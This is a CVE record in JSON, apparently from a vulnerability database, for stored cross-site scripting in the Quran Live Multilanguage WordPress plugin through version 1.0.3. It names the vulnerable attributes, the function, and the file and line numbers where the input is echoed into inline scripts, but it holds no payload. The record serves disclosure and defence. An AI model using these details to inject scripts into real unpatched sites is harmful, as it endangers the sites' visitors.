{"cve": {"id": "CVE-2026-4074", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:21.947", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quran Live Multilanguage plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cheikh' and 'lang' shortcode attributes in all versions up to, and including, 1.0.3. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The quran_live_render() function of quran-live.php receives shortcode attributes and passes them directly through shortcode_atts() and extract() without any sanitization. These values are then passed to Render_Quran_Live::render_verse_quran_live() where they are echoed directly into inline <script> blocks using PHP short tags (<?=$cheikh;?> and <?=$lang;?>) at lines 191, 216, 217, 245, and 246 of Class_QuranLive.php. Since the output occurs inside a JavaScript context within <script> tags, an attacker can break out of the JavaScript string and inject arbitrary script code. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quran-live/tags/1.0.3/inc/Class_QuranLive.php#L191", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/tags/1.0.3/inc/Class_QuranLive.php#L216", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/tags/1.0.3/inc/Class_QuranLive.php#L217", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/tags/1.0.3/inc/Class_QuranLive.php#L245", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/tags/1.0.3/inc/Class_QuranLive.php#L246", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/tags/1.0.3/quran-live.php#L110", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/trunk/inc/Class_QuranLive.php#L191", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/trunk/inc/Class_QuranLive.php#L216", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/trunk/inc/Class_QuranLive.php#L217", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/trunk/inc/Class_QuranLive.php#L245", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/trunk/inc/Class_QuranLive.php#L246", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quran-live/trunk/quran-live.php#L110", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/883484dd-d48d-46f9-ae96-223626c50039?source=cve", "source": "[email protected]"}]}}
